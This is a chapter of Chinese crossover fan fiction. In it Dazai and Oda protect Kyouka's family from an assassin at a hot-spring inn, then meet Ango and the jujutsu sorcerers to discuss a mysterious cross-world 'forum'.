尾崎红叶无奈地摇摇头。 双黑内部的矛盾一直存在，从吵吵闹闹到下狠手决裂，不知道这一对前搭档未来的路是何种模样。 “——那就让我们先相信一下中也君吧。” 森鸥外有自己的考量。 他丝毫不怀疑中也的忠诚，不论太宰叛逃后炸车的举动，还是朝着中原中也以前负责的宝石业务下手，针对意味十足。 如果中也会自己乖乖被太宰勾着跑，那森鸥外觉得自己看人眼光到此为止，首领也别当了。 芥川龙之介这个脾气毛毛躁躁还没定性的孩子，可能性倒大得多。 要沉得住气啊，森鸥外心里暗道。 棋局，早就开启了。 “这是安吾传过来的情报。”织田从金色方格里掏出一份东西递了过去。 在论坛的辅助下，什么保密通话、加密传真都被淘汰，在双方同意下能共同使用的储存空间立了大功。 这个金色的空间目前还很小，装不了太大的东西，但在情报传递方面作用极大。 从安吾发出到织田接收，中间间隔不超过2分钟。 太宰治接过红发男人手中的情报，一目十行。 “…你是怎么说服他的？”织田问道“还是说这也是和异特科合作的一部分？” “唔，你可以理解成私人关系，异特科那里是否知道我不清楚呐，”太宰治眨眨眼，“如果织田作你去问的话，安吾会更心甘情愿一点吧。” 织田沉默了一会，太宰笑笑，早有预料，“怎么，不忍心利用对方的愧疚？” 男人很直白地“嗯”了一声。 往后他们立场不同了…不，其实立场一直没有统一过，安吾估计会事事以异特科为先，而织田和太宰基于论坛的行动，一定程度上触碰到了横滨组织敏-感的根基。 那张被拍下后封存在lupin的合照，不知道还有没有重见天日的时候。 看见织田沉思的模样，太宰托着下巴摇了摇头。 [怪不得安吾情报传得这么快，还特地绕开了我，]太宰治眯了眯眼，[这是在利用织田的愧疚啊，聪明的家伙。] 坂口安吾释放的信号已足够明显了。 ——在不违背立场的前提下，对朋·友能帮就帮。 “反正论坛都是共同的秘密了，不如约一下酒，聊一聊下一阶段的打算。” 太宰顺着织田的思路说话，看见红发男人明显意动的表情，话锋又突兀一转，“但是，织田作，你真的相信这个吗——” 太宰治伸手，像猫一样，将桌子中间的玻璃杯轻轻地往边上推。 “曾经碎掉的东西，真的能完完全全复原吗？” “……这段时间，我也一直在思考这个问题。” 红发男人眼疾手快，在桌子边缘截住了摇摇欲坠的玻璃杯。 织田拿起它晃了晃，问道“修复之后它还能装水吗？” “这个肯定能。”太宰轻声道。 “嗯，这就足够了，”织田将杯子稳稳地放在两人中间，“不如先从这里，重新开始吧。” 太宰鼓了鼓脸颊。 “就知道织田作心软，”他拖长音调，也不知道在埋汰谁，“真是，一个两个的，都要当什么善良正直的大好人——” “难得见你这么不冷静，”织田眉梢平平，随口一猜，“被论坛气到了？” 还真是一下就击中核心。 “所·以·为·什·么·扣·我·分·啊！” 能让太宰治耿耿于怀的事情不多，入水失败算一件，这个犯冲的论坛算第二件。 “没太大问题，把分赚回来就可以了，”织田作之助用食指点点桌面的资料，将谈话内容拉回正题，“机会这不来了？” 资料上是关于[泉镜花]的身份情报。 太宰提供的调查年龄是6-12岁，织田作之助大致能推断出依据。 因为这个任务不是出自大人们的公共列表，而是…中岛敦的私人任务！ 对于孩子自己拥有任务这点，织田作之助相当意外。太宰依旧是那副高深莫测的样子，看不清他的想法。 就算有年龄范围，在横滨捞人也是相当艰难的。安吾在这件事上可谓是费心费力，从一个微小的出生记录顺藤摸瓜到入学记录，终于准确地定位到了人身上。 相比这个小小的女孩，泉镜花的父母身份保密程度更高，安吾只查出对方为mafia服务，具体是什么工作无迹可寻。 虽然信息不全，但这份情报极富引导价值。 保尔·魏尔伦补上了缺漏的部分。 法国人最近神出鬼没的，和太宰治一样不知道在忙些什么，又总能在最关键的时候出现。 “这一对夫妇是尾崎红叶的暗部，”魏尔伦道“是同行，还是很受器重的手下。尾崎曾经让他们夫妇俩到我这里学习。” 太宰“他们的住所和行程呢？” 身份是得先理清楚，但人找不到白搭。 为了积分魏尔伦也是拼了，“我潜入mafia探查一下。” “哦，那你凑近点，”太宰当着织田的面在暗杀王耳边一通叽里咕噜，随后不顾对方臭脸信任地拍拍肩膀，“交给你了，一路走好！” “我为什么要听你指挥？！”魏尔伦磨牙，然后…乖乖走了。 织田“？” 太宰^^ “那我们出发吧。”太宰语气欢乐，似乎是要参加什么游学活动，“把敦带上，我们三个人去好好放松放松！” 织田“可是，保尔他调查不是还要一些时间…” “诶呀，根本不需要，”太宰摆摆手，变魔术一般在地图上划出一个小范围，“诺，人大概率就在这片。” 根据安吾那里的线索，泉镜花的父母最近一次露面是三天前，曾经带着孩子出现在了某个有名的游乐场，然后开车往北去了。 在那条路的沿途，有一个非常有名的温泉乡。 太宰望着窗外红红黄黄的树叶，叹息道“秋天到了啊。” 秋天到了，枫叶红了，就该是泡温泉赏叶的好季节啦！ “织田哥哥…这个浴衣，有点拖地了。”敦小脸红扑扑的，拽着衣角朝信任的大人求助。 敦的性格还是有些内向，从恭敬的先生变成亲近的哥哥，织田作之助着实费了不少心力。 “大了？我看看，”织田蹲身放下浴衣下摆，确实成小拖把了，“没事，我去找老板娘换小一点的尺码。” 敦抿着唇角，笑了笑，“谢谢织田哥哥。” 小孩脸上的怯懦消失不少，整个人体格也在慢慢长开，没有了之前营养不-良的萎靡样子。 这都归功于两个陨石般办事的灰斗篷。织田作之助则把这些年的积蓄，全部投进了这家孤儿院中。在太宰治的“特别关照”下，院长被迫加入论坛，定下[束缚]。在给孩子们道歉之后，正在改过自新，在履行一个合格的院长应尽义务的同时，为自己的所作所为赎罪。 敦依旧对院长的脸抱有恐惧，而男人仿佛对此心知肚明，在敦吓得直抖之后，选择换上粗眼镜框、并且戴上了口罩。 在这之后，孤儿院发生的改变就像梦一样美好。 对小敦来说，恐怖地折磨和打骂消失了，孤儿院伙食变好了，开心的事情变多了，生活也有了好多好多盼头。 还偶尔有这种游学的惊喜！ 他一定要把发生的事情记在心里，回去和自己的朋友们分享！ 这家温泉旅馆很是精致，织田牵着小敦，和太宰并排走在宽宽的廊道上。三人都换上了温泉浴衣，一旁的庭院微风拂过，带来远处隔墙外缱绻的蒸汽。温度不高不低，令人倍感舒适。 廊道另一头也传来三个脚步声。 一对夫妻牵着一个年幼的女孩子，和对面三人交错而过。 夫妻二人的面色和步伐都没有变化，但是，甚至没有多看他们一眼。 但是这种丝毫不好奇的态度，才是真正的异常。 太宰目不斜视，织田不动声色。红发男人的目光温和又自然地在扎着两个辫子的女孩身上停留了片刻。而对方则好奇地盯着敦的银发猛瞧，把小敦看害羞了，往织田身后躲。 “哗啦——” 两拨人同时拉开了门。 他们对视一眼，心里浮现出同样的念头——哦，原来住在隔壁啊。 四方乱舞 “太宰,他们应该认出我们了吧？” 织田这句话几乎是贴着太宰耳根略过，连一起的敦都没听见。 “嗯～说不定在头疼自己的假期泡汤了呢～”太宰瞄了眼靠着隔壁的墙，不压音量,不急不慌,“第一件事应该是商量怎么通知mafia吧？” 织田捏了捏眉心,“你，提出要走一走的时候我就知道…”就知道有什么事不对劲。 “不会那么快啦，”太宰安慰道“他们还带着孩子呢，至少够我们泡个温泉。” 刚才走廊上对方对身份有所猜测但没有直接动手，也是这个原因。 双方都带着孩子，也许是为人父母之后的同理心，两拨人绝不可能在年幼的后辈面前动手。 “……”织田又看了眼正在开心地整理床铺的敦。 “后悔了？我们不是商量过嘛？”涉及到织田带的崽,太宰这回乖乖压低声音，“这是敦的任务,不把人带过来万一判定不成功呢？不就白忙活了。” “我们是商量过,”织田硬邦邦道,“但不包括这种撞到对方脸上的环节。” 在织田的设想里,敦会好好享受温泉之旅,而他会在这几天潜伏在这一家三口身旁,摸清楚任务目标的处境。 按照论坛的套路,泉镜花小朋友一定会遇见、甚至已经处于潜在的危险之中,而他们的任务是解决问题的源头。 ——他们本就在暗处,如果能悄无声息地解决一切就更完美了。 结果太宰治快刀斩乱麻，直接开大冲到了别人脸上（？） “织田哥哥,太宰哥哥,”敦挪过来,一副想问又不好意思问的样子,“我们接下来做什么呀？” 织田一脸认真“敦，你听好…” 太宰笑眯眯“想去泡温泉吗？” 银发孩子眼珠子明显亮了起来，“好呀好呀～现在就去吗？” “当然了，”事实证明，只要太宰愿意，他哄孩子手到擒来，“这个天的枫叶可是一绝，我们出发！” “……”织田顿了顿，吞下了示警的话语。 算了，以他的身手和两个人的异能，如果在有论坛的情况下还护不住孩子……那自己也没资格掺合接下来的一堆破事了。 如太宰所言，傍晚过得很平静。泡完澡的敦脸红扑扑的，困意袭来，早早钻进软乎乎的被窝里，安然入睡。 织田将房间灯全部熄灭，在房间正中央端正地坐着。他右侧挨着一个不明长条物体，脸上亮着屏幕的荧光，双手正在进行着激烈的战斗！ 太宰“我咻咻咻！！欸？？就差两几滴血唔——” 织田作之助抬手，捂住了那张制造噪音的嘴。 房间和走廊陷入安静。 织田沉静地呼吸着，耳朵敏锐地捕捉外面的动静。一刻钟过后，男人在一片安静中倏然起身，警戒着快步飘至门口，一把拉开了完全没上锁的和室门。 门外的人和门内的人四目相对。 织田作之助眼神一利，这种气息，这种听不见脚步声的走路方式…… 太宰挪到了门边，抱臂随意一靠。 “你好呀！你谁？”太宰一脸好奇，下一句让刺客心脏高高悬起，“这位先生是来杀我的吗？ “……” 隔壁的住客听见动静，也都拉开门，探出来看个究竟。 门口不速之客瞳孔一缩，瞬间的眼神暴露了他的目标。 “原来弄错了啊，”太宰大咧咧往旁边一指，“那目标难道是他们吗？” 被扰乱节奏的刺客一句话没浪费，咬牙瞬间做出判断，边抽武器边缠着前方冲了过去！ “哇哦！不要冲动啊！”太宰一把扯住了对方脖子后的黑帽子，同时劝说另一侧已经掏枪的泉父，“冷静啦，大家都冷静！说不定是误会一场～” 织田“……” “？”刺客同志已经懵了。 这个半路杀出来的家伙脑袋怎么长的，怎么不按操作乱出牌？！ “你放开我！” ……他这是自杀式袭击，但是需要靠近目标，靠得更近一些！ 杀手又挣扎了几下，却挣脱不开，因为织田作之助断不可能在一旁干看着，红发男人一出手就是利落的擒拿，手臂和膝盖使力，将人直接摁到了地上。 太宰在旁边柔弱地呼唤，“保尔先生快来帮忙！” “？”织田也有点懵，“喊他干什么？他不在吧？” 对面泉镜花的父母脸色已经微变。现在他们能百分百确认面前这两人的身份，脸熟的是叛逃的干部太宰治，面生的则是前底层人员织田作之助。 甚至，他们还清楚，这两个人口中的“保尔”，是首领嘱托尾崎的暗部追查的保尔·魏尔伦！ “呀，弄错了，”太宰吐吐舌头，突然道“我们的援军是另一个人～织田你快来保护我！” 所有人“？” 随着太宰话音落下，织田作之助突然有了行动。男人竟然放弃了已经制服的刺客，转身将门框旁的绷带少年一把拉开！ 与此同时，和一声拖长了的怒吼一道抵达现场的，是一脚闪烁着红光的、毫不留情的飞踹！ “太宰————！伊呀呀呀————！” “轰，轰轰————！！！” 那极其凌厉的脚风擦着刺客的鼻尖而过，将和室后方的墙壁踹出一个大洞，接着又突破了对面和室的门！在一片烟尘中，那个“娇小”的身影堪堪停下惯性。 织田作之助拽完太宰，又松开手去抱角落被窝的中岛敦。 可怜孩子还以为外面在放炮竹呢，揉着眼睛醒过来结果发现房间墙都被人踹没了。 “chuya，好久不见。”太宰一口道出来者身份，毫不意外。 似乎是清楚自己昔日搭档是来寻仇的，绷带少年弱小又无助地往后退，一直退到了刚刚solo的刺客身后，求助道“那个人好可怕！快，快保护我！” 暗杀者“？” “让开，杂鱼。”赭发少年破开烟尘，缓缓逼近。他无视了周围的一切，愤怒的瞳孔里只映出太宰治的身影，“今天我一定要把你狠狠揍一顿然后抓回去！” “好可怕啊！”太宰超big声挑衅，“不愧是重力使！每天都在欺负人！” “呵，听说你失去异能力了？我才不信，”中原中也把拳头捏得咯吱响，“你这张嘴没一句真话，揍完了就老实了…” 听见他们的对话，暗杀者陷入了极短的头脑风暴。 刚刚他只是有所怀疑，现在他完全确认了。这两个人，就是港口mafia鼎鼎有名的双黑组合。 最近太宰治失去异能力的流言传得沸沸扬扬，中原中也回国的消息也让一些蠢蠢欲动的家伙暂时歇了心思……作为训练有素的暗杀者，情报在他这被格外重视。 刺客先生心中诞生了一个绝妙的计划。 现在局面太混乱，目标也有所提防，根本无法接近。如果……他能用血液控制在场最强的重力使的话，岂不是能超额完成任务了？！ 于是，在外人眼里，那不速之刺客飞快转移目标，主动对上了不速之重力使。 织田作之助“？？？” 中也额头爆出青筋，冷笑一声。 重力使心情值belike 看见太宰治的脸——心情值-100 能揍太宰治——心情值＋50 有人阻挠他揍太宰治——心情值-1000！ 重力使和暗杀者展开交锋！ “砰——砰砰——” “呃！噗唔！啊！” 与其说是交锋，不如说是单方面暴揍。子弹对上中原中也都不好使！重力使在飘飞的枫叶的映衬下，诠释了什么叫建立在凄惨敌人基础之上的暴力美学。 半空中血液飞溅，太宰治激情观战，他手呈扩音器，高声道“chuya！chuya！刚把爹捏～～！” 织田作之助“……” 泉镜花父母“……” 织田上前一步提醒“不用警示对方吗？这个异能者的能力好像不简单。” 哪有人赶着找死啊，一定有什么猫腻。 太宰笑眯眯摇头“不用哦，中也那么聪明，一定立刻就中招了。” 织田“？” 太宰这句话是相当的精准。终于，在刺客白白挨了第十下打之后，萦绕周身的重力终究出现了漏洞，在中也袖口的皮肤沾上了小小的一滴鲜血。 就是这滴血，扭转了战局。 在异能力的发动下，刺客的血如同被赋予了自我意识，化作细细的血线往中也眼眶里钻！就算血液主人已经失去意识，也忠诚地执行着被下达的洗脑命令。 ——杀掉在场的所有人！！！ 中也明显察觉到了不对， “卑鄙…的家伙…”重力使气得咬牙切齿，但还是没抵得住发动的异能。最后一刻，他竟朝太宰投来一个眼神。 ……然后就明显失去了意识。 织田“！！！” 作为底层人员，织田作之助极少看见双黑中的另一位真正出手的模样。只在龙头战争时期见过对方骑着机车去营救太宰的身影，留下惊鸿一瞥。 现在他知道重力异能全开是什么样子了。 在“全灭”的洗脑包下，猩红的疤痕状力量缠绕上重力使周身，彻底夺取了他的理智。 “咿呀呀呀————” 重力使开始手搓黑色圆球，那个球蕴含的能量让人心惊肉跳，毫不怀疑这一发下来，整个温泉庄都能被夷为平地。 织田不知道这是什么异能，唯一知道的人还在不紧不慢地讲解。 “看见了吗？那家伙的能力，是以血液为媒介操控别人，”太宰看着泉镜花的父母，意味深长，“他原本是冲着你们来的。” 泉父“……！” “噫啊啊啊啊啊啊——” 中也手心的异能越来越深、愈来愈大，那个黑色能量球已经进化到了等身的尺寸。 随后，他高高举起的左手——被腕缠绷带的手握住了。 太宰使用「人间失格」解除异能的姿势异常熟练，对那近在咫尺的毁灭气息无动于衷，动作又快又准，像是重复过千百遍。 “大老远跑过来辛苦了，”他微笑着小声道“休息吧。” ——噗通。 重力使顺利倒在地上，陷入昏迷。 太宰治还非常贴心地帮人把帽子摘了下来，盖在了对方的脸上。 织田“……？” 这两个人之前在mafia关系有这么差吗？ 太宰治就这么当着尾崎红叶暗部的面，正大光明地让织田帮忙把他亲爱的前搭档带走。紧接着，他非常凶残的方式弄醒了被揍晕的入侵者，定下了不平等的[束缚]。 简直和卖身契没什么两样了。 织田百分百肯定，除了缺人手的原因之外，太宰还馋对方异能。 男人打开论坛面板。 人员列表那一栏已经有很多名字了，一翻翻不到底。任务一栏[泉镜花]后面神奇地有了绿√，积分发了1000。 明眼人都看出，不管对方是度假还是在任务中，泉镜花的父母已经非常麻利地把孩子送离了漩涡中心。泉镜花本人并不在事件的第一现场，却依旧被改变命运，足以证明两点 一、任务不一定需要接受者本人完成。 二、任务完成不一定需要目标本人在场。 这样一来，他们行事能更自由一些。 织田正沉思着，忽然感觉耳边凑过来个东西。 红发男人扭头，和一个巨大的人形异能对上了视线。 泉母轻轻呀了一声，“抱歉，这孩子不是故意的。” 她的异能力「夜叉白雪」此刻正漂浮在织田身后。估计是因为这个人形异能，让镜花的母亲直接察觉到了论坛的存在。 从这一点逆推复盘，太宰治在见到爱丽丝前收起了论坛的操作面板，简直是未卜先知般的判断。 “太宰先生，和织田先生，很感谢你们的帮助。”泉母开口了。 泉镜花的父母是优秀的谍报员和暗杀者，也对前mafia最年轻干部的履历知之甚详。就算太宰治作为叛逃人员，在他们面前等同于一座到处晃悠的移动金库，夫妻俩也没有被贪婪埋没理智。 此时太宰治通过什么情报渠道出现在此地、有什么目的都不重要了，镜花父母只知道如果没有外力介入，他们会遭到暗算不说，女儿也有可能在目睹父母“自戕”的惨剧之后，变成无依无靠的孤儿。 ——聪明人都擅长推演局势，也都能很坦然地接受并复盘自己的失误。 当然，他们也很擅长人情往来和利益交换。 泉父和妻子只交换了一个眼神，就温和地接话道“太宰先生有什么需要帮助的地方，可以直说。” 哇，真的干脆利落。 太宰笑容真诚了几分。他喜欢和聪明人交流，因为对方不用连哄带骗就会往坑里跳。 ——这一次，可不是还了人情就能解决的事儿呢。 远在异能特务科的安吾看着面前的情报资料，陷入沉思。 这份情报上推演着两种只有论坛成员才能看见的可能。 “透露”or“不透露” 安吾在每种可能的后面详细罗列了各种利弊，这样有助于他理清思路，在摒弃犹豫后做出正确的选择。 正想着，他听见耳边一阵特有的叮叮咚咚声。 【“泉xx（父）”已满足论坛标准，是否招募？】 【是（3票）/否】 【“泉xx（母）”已满足论坛标准，是否招募？】 【是（3票）/否】 间隔3分钟后。 【“泉镜花”已满足论坛标准，是否招募？】 【是（3票）/否】 【全票通过】 坂口安吾“？？？” hello？ 这论坛是什么无门槛团建俱乐部吗？ 以酒会友 想找到行迹飘忽不定的太宰治很难。 但是如果是大部分时候一起行动、但是又要分出点时间照顾孩子的织田作之助的话……很容易。 织田的路线非常固定,每周末除了去敦的孤儿院绕一圈，还会借异特科的掩护，去安全点看自己的五个养子。 这一整天,织田身边都会固定五个小尾巴。适龄的孩子们背送去了学校,周末他们就会缠着自家监护人分享学校生活。 性格最为内敛谨慎的幸介捧着书，在织田耳边小声交流着一件奇怪的事。 “今天我们遇到一个戴着眼镜的奇怪叔叔，”幸介掏掏口袋,“他给了我这张纸条，还塞了一包糖,但是我没有吃，全扔掉了。” 织田接过纸条，眼神微凝。 “…做得对，不能乱吃奇怪的叔叔给的东西,”男人严肃道“很有可能是坏人,下回不要搭理,直接绕开。” 在lupin等待的怪叔叔安吾打了个喷嚏,怀疑自己可能最近加班到免疫力下降。 “今天还是要老样子，三杯酒吗？”店长兼调酒师看着面前眼神疲惫的社畜老顾客，眼神同情。 安吾“呃嗯,先…三杯吧。” 自从太宰治叛逃、沸沸扬扬闹了一阵之后,这里已经不是搜查的重点了。lupin店长不仅回归了还骚操作了一把，把太宰治、织田作之助和坂口安吾的合照，直接钉在了大门口的软墙上。 织田也很久没回来了，在门口看见这照片的他定定站了三秒,才朝吧台走去。 坂口安吾往织田身后探了两眼,确认男人是只身一人来的。 他推了推眼镜,盖住自己有点失望又有点庆幸的表情。 织田靠着安吾在台子前坐下,很自然地拖走了三杯里那杯冰球威士忌。 两个人刚开始的几分钟只是并排坐着，默默喝酒，没一个人说话。在这令人害怕的安静中，lupin老板僵着脸擦拭玻璃杯，在心里疯狂思索无声息闪人的方法。 “谢谢。”织田先开口了。 男人开口打破僵局的那一秒，其他两人同时松口气。老板跑路，安吾咽了口唾沫。 织田继续，“任务完成了，积分你也能调用一部分。” “啊，嗯，”安吾这回开始冒汗了，“我只换过「咒灵操术」，四级咒灵很好用。” “我看见了，”织田顿了顿，“你还研究出了[视野]的技巧…很厉害。” 安吾挠了挠侧颊，“……也没有，只能维持很短的时间，不然会头晕。” 织田眼神沉静，安吾视线也别向另一侧。两人曾经是无话不谈的亲密友人，就算当下有心修复关系共同合作， 也许不止他们俩，包括没到场的太宰，都需要一点时间。 “太宰他…不想看见我吧？”安吾捏了捏眉心。 织田晃晃玻璃杯，发出轻微的碰撞声。 “也不算，今天这一次是他跟我们分别递的话。” 只是太宰说着要组局，临近见面又借口有事消失了。 织田感到有些抱歉，“这件事我没有立场去劝说他。” “不不，我理解的。”安吾连连摇头，话锋一转，“太宰不在的话，或许…我们也能交流一些不太方便的观点，毕竟你知道的，”安吾苦笑一声，“我们的思维太容易被他牵着走了。” 关于这点，织田并没有否认。 和有过罅隙的朋友相处尴尬怎么办？两个人不约而同选择谈正事。 “我用暗示的方式向长官请示了，”安吾道“最后我们决定采用扩展人数的方案。[论坛]运行的底层逻辑就是滚动积分，集思广益之下，说不定能更早解开它的真面目。” “这也是太宰的意思，”织田颔首，“在这方面我们会全盘支持。同时，针对另一个咒术世界的调查结果，也可以互通有无。” 和织田作之助交流，能让坂口安吾有非常奇异的安心感。 安吾回想起之前他和太宰的谈判，当他像今天一样提出要让异能特务科的能力者加入论坛的假设时，前mafia干部只是不动声色地笑了笑，指向束缚中的某个已经存在的条件。 “可以啊。”太宰语气懒洋洋的，好像在说我早就给你开条件了、你怎么还搁这问来问去的。 安吾的脑子里顿时出现7个字——事出反常必有妖。 太宰治主动给出的条件，有那么好拿吗？会不会暗中已标好了他无法承受的戏码？ 但坂口安吾想不通这家伙会酝酿着阴谋。 能被异能特务科委派来做卧底，安吾本人智商不低。连他在交流中都遇到这等心理压力，可见其他有资格和太宰谈判的可怜蛋们都承受了什么。 “太宰他，最近在做些什么呢？”安吾犹豫着开口。 织田定定地望了对方一眼。 安吾“这句话该我亲自问他，是吗？” 织田不置可否，只道“其实我也不太清楚。” “……你就这样随他去吗？” “啊，是这样的。” 织田语气平静，如果非要有什么情绪的话，反倒释放出某种乐观，“和你们的种田长官尝试接触，对他来说已经在慢慢地改变了吧。” 安吾无奈地笑着摇摇头，“我以前觉得看不透他，[论坛]出现了之后，这种感觉更明显了。” 前卧底晃着酒杯，看杯中液体摇晃，慢慢整理思绪。 “有时候我觉得，这一整件事就是一盘一盘巨大的棋，我们都是棋子。” “你觉得太宰会在棋盘之外？” “他喜欢执棋，但是我们没人猜得透下一步，不是吗？”安吾苦笑，“谁能想象之后的局面会成什么样子，我…很担心你们。” 担心太宰治玩火自焚，也担心织田作之助被牵连。 “我不是在刺探什么，”安吾长长地吐出一口气，“只是庆幸，在这种时期，幸好有你在他旁边，他也愿意相信你。” 织田垂下眼眸，“你也可以不止相信我。” 安吾笑了笑，“好，我尽力。” 似乎什么都没变，但什么都改变了。 “以后有需要的话，我们…像这样随时联系？”前卧底试探着问。 也许成年人在某些方面，比孩童还要胆怯。 他们已经过了借着酒劲，询问自己还是不是对方的朋友的年纪了。 织田将酒一饮而尽，轻轻放杯，颔首，“随时联系。” “——所以你们什么都没干，就喝了半个小时酒，然后讲了我的坏话？” 太宰在铁架床上翻了个身，直勾勾盯着进[帐]后把风衣往铁架上挂的男人。 他的旁边躺着一个比他短一截的黑色物体。仔细看，对方脸部的黑帽子下隐约露出点赭色发丝。 如果不是织田坚持，mafia可怜的重力使估计会被孤零零地扔在地板上。 “没醒吗？”男人有点意外，他没和安吾聊太久，就是担心中原中也醒过来的话，太宰一个人不好应付。 “嗯嗯。开「污浊」很费劲呢！就算是chuya～也要恢复很久～！” 织田半信半疑，“我记得补给物品里面是有麻醉剂的？” “啊哈哈哈，我怎么可能对亲爱的前搭档做那种事呢！”太宰笑得非常真诚，“请不要误会我，我可是很纯良的～～” 织田作之助很淡定，没揭穿这个自称纯良的家伙给自己偷偷上窃听器的行为，和表面有事实际在据点蹲守的行为。 男人甚至连找窃听器都懒得找，反正不是贴在领口袖口就是直接放口袋。 “异特科那里的调查有进展，”男人从方格里掏出了补充过的情报，“是关于对面咒术师的性格侧写，和仪器监测下的咒力质地研究和术式运转轨迹分析。” “这种一猜就能知道的东西，最没劲了。”太宰嘴上嫌弃，手上还是把织田辛苦整理的材料接了过去。 从一张张纸，到厚厚成册的小本子，可见这段时间异能者这方调查得多深入。而在呈现形式方面，他们放弃了平铺直叙的语言，再次升级保密流程，将关键信息呈现为一些需要解码的符号。 这本册子如果被横滨任何一个势力拿到，光解密就得费老一阵工夫。 太宰治和织田作之助制定的特殊暗号，如果翻译过来的话，会让另一边所有还在研究任务的咒术师大吃一惊。 这上面以最简洁明了的结构图，画清楚了咒术师、咒灵和普通人的相互关系。并且在论坛人员列表的基础上，加上了不同合作者的能力、性格分析。 知己知彼是良策，这句不光在太宰，还在所有倚重情报和脑力的异能者身上体现得淋漓尽致。 如果不是照顾到织田作之助，这个情报本连纸质材料都不会留下，因为所有的内容都储存在太宰的大脑里。 不过，织田作之助的脑袋也不差。 他们把一个问题讨论透彻之后，都会把情报仔细封存到论坛特有的金色方格中。后者已经像他们展现出了卓越的保密能力，不管是通话还是情报，一次也没泄露过。包括那个让所有人将信将疑的[束缚]功能，早就在坂口安吾和孤儿院院长身上展现出强悍的约束力。 用太宰的话来评价…… “目前接触到的咒术师都是一群笨蛋。” “笨蛋”这个措辞方式对太宰治来说已经是很委婉了，但mafia前干部本人没有任何贬损的意思，反而觉得咒术师们这样挺好。 太宰开了两罐气泡酒，咕嘟咕嘟闷了一口。 “如果出现一个我这种程度…唔，不对，只要出现一个安吾那种程度的家伙，那他们那里所有人就要完蛋啦！” 织田蹙眉，明显是赞同这句话的，也有点担忧。 “五条悟，「无下限」的拥有者。应该是那里实力最强的家伙。” 太宰托腮，“想到整个咒术界都被那个笨蛋吓得瑟瑟发抖，我就觉得好好笑啊。” “他也不容易。”织田开始灌今天的第二杯。 “啊～啊～我知道了，我知道你是听谁说的，”太宰举了举酒罐头，一副了然的样子，“唯一一枚[畅聊之火]嘛，我明白的我明白的～” 织田眯眼，“你是不是私底下也和五条悟联系了？” 太宰治扭头，“我们可都是很懂礼貌的啦。” 个屁！肯定是私底下吵架了！怪不得两人不在那个置顶帖盖楼了，原来矛盾转私人了！ 织田作之助开始庆幸[畅聊之火]和面基机会被试出来只有一次。如果让太宰和对面那个拽天拽地的悟见面……衔接两个世界的空间能不能存在还是个问题。 织田心想，他拉着点太宰，希望另一个世界的杰君也给力一点…… 太宰治也在联想同一个人。 “夏油杰，织田作聊了这么多，应该对他最了解吧？” “安吾说，是一个很有信念感、很强大的家伙。”织田道。 “你的观点呢？” “非常努力的孩子。”织田的评价也很高。 太宰啧了一声。 “我倒觉得那家伙是个危险的理想主义者呢，”这是来自太宰的提醒，也是他特意提起这个人的目的，“他应该处在很不稳定的迷茫期吧？咒术师也不好当啊。” 这种人最容易被事实压垮，但是… 织田作之助接道“但是，如果真正确定了目标，会成为不容小觑的朋友或者对手。” “唉……”太宰长长地叹口气，“我大概能猜到为什么论坛的面对面交流只点名了你们两个了。” 他鼓起脸颊，“真是两个笨蛋老好人啊。” 面对太宰治的人身攻击，织田淡定得像只是被猫挠了一爪子。 “总之，那里的异能，或者说「术式」，很有研究价值，”太宰继续分析，“但我们也不用过分依赖，太过指望积分明显不是什么好兆头……” 步步有方向，句句有规划。 从接触太宰治开始，织田是受到他思维模式影响最深的一个人，在这同时又能保持本心。 或许连织田自己都不清楚自己有多厉害。 织田笑笑，“不愧是太宰，分析得很到位。” “嗯哼。”某人像被夸赞的小黑猫，那尾巴立刻得意地翘起来了。 织田在此时自然而然联想到安吾的话中话。 ——太宰在下一盘很大的棋，谁也不知道他的目的是什么，会造成怎样的后果。 “我倒是能猜到，幕后的家伙想要什么，”太宰平淡的话语让织田眉梢微挑，“准备好迎接这场风暴了吗？” ……猜测吗？这种放在朋友之间的猜测，是最多余的。 织田作之助选择直接询问。 “会有什么后果？” “嗯？” “你的…或者是我们的选择，会带来什么？” 太宰想了想，用极短的时间给出了两个字。 “——和平。” 面对这个离谱的答案，织田眼都不眨。一人一句，对答如流。 织田“你又想在什么位置呢？” 太宰“风眼。” “这是你的目的吗？” “no，这是听织田作的话才产生的目的。” 太宰治从mimic那件事之后，就舍弃了遮眼的绷带。那一双鸢色瞳空空荡荡，却又多出点什么东西，种下了微妙的因果。 “至于太宰治的目标……抱歉呐，连本人都不太清楚。” 听见这不负责的答案，织田了然一笑。 “我明白了，”红发男人眼神坚毅，毫无畏惧，“那就继续寻找吧。” 从此，他们不会再是黑暗中的独行者，而是背负起了更加明亮的职责。 “愿风暴与我们相伴。” 如同守护者的祈愿，和冒险者出发前的誓言。 太宰也笑了，他举起铝罐头，二者轻碰。 “——为横滨干杯。” “干杯！！！” 傍晚时刻，居酒屋的某个包厢一片热闹。 咒术师在喝酒聚会，在这种夜蛾不在的场合，大家都顶着不醉不归的态度摸鱼耍闹。 除了某个滴酒不沾的大少爷。 悟端着草莓牛奶朝着男同学搭档挤眉弄眼，“杰，多喝点，杀杀苦味。” 夏油杰真想揍人。 他被缠得连自己满意的宿舍大床都要失守了，还好在某只猫倒反天罡前成功把人踹了出去。 但是这种吵吵闹闹的状态，让他沉思和莫名消沉的时间大幅度减少。 包括现在。 还没在微醺的感觉中沉浸多久，杰就感觉自己的肩膀被人撑住了，把他当扶手的自然是五条悟。 “在这夜蛾不存在の重大时刻，让我们一起庆祝任务的顺利——” 如果是其他咒术师，都快被咒灵折磨崩溃，估计都不觉得完成任务是一个值得庆祝的事情。 大家都一天到晚忙成狗，就算是五条悟和夏油杰，最多也只能保证迅速解决任务之后争取多一点休息时间。 咒灵是从普通人的负面情绪中诞生的——这一点特性充分证明，咒术师的活儿永远都干不完。 这种聚会是极为罕见的。 除了非常浅淡的享乐需求之外，还有一个不容忽视的重大问题 需要展开针对“论坛”的深入讨论。 大家各有各的理解，没有像异能者那一方精通情报分析的领军人物，咒术师这里的研究进度可能要低上不少。 而今日，高专终于迎回了同校生里最后两个关键人物。 悟和杰对面不仅坐着七海和灰原两个学弟，还有除了硝子外高专唯二的两位女性成员。 “……同时，这也是为两位准备呃、谁来着…？” “歌姬和冥冥学姐。”夏油杰在一旁补充。 “对对～！为两位学姐准备的接风宴！” 悟的手唰地一下，非常没礼貌地指向对面。 两位女咒术师，一人穿着神社道场的红白巫女服，另一人裹着深色的高专校服，灌酒的动作豪爽又优雅。 歌姬以酒杯掩面，庆幸这是一个私密的榻榻米包厢，她不至于丢人丢到外边儿去。 “我们到底为什么要答应这种酒局？” 冥冥声音轻缓，“因为这次全都是五条家少爷买单。” 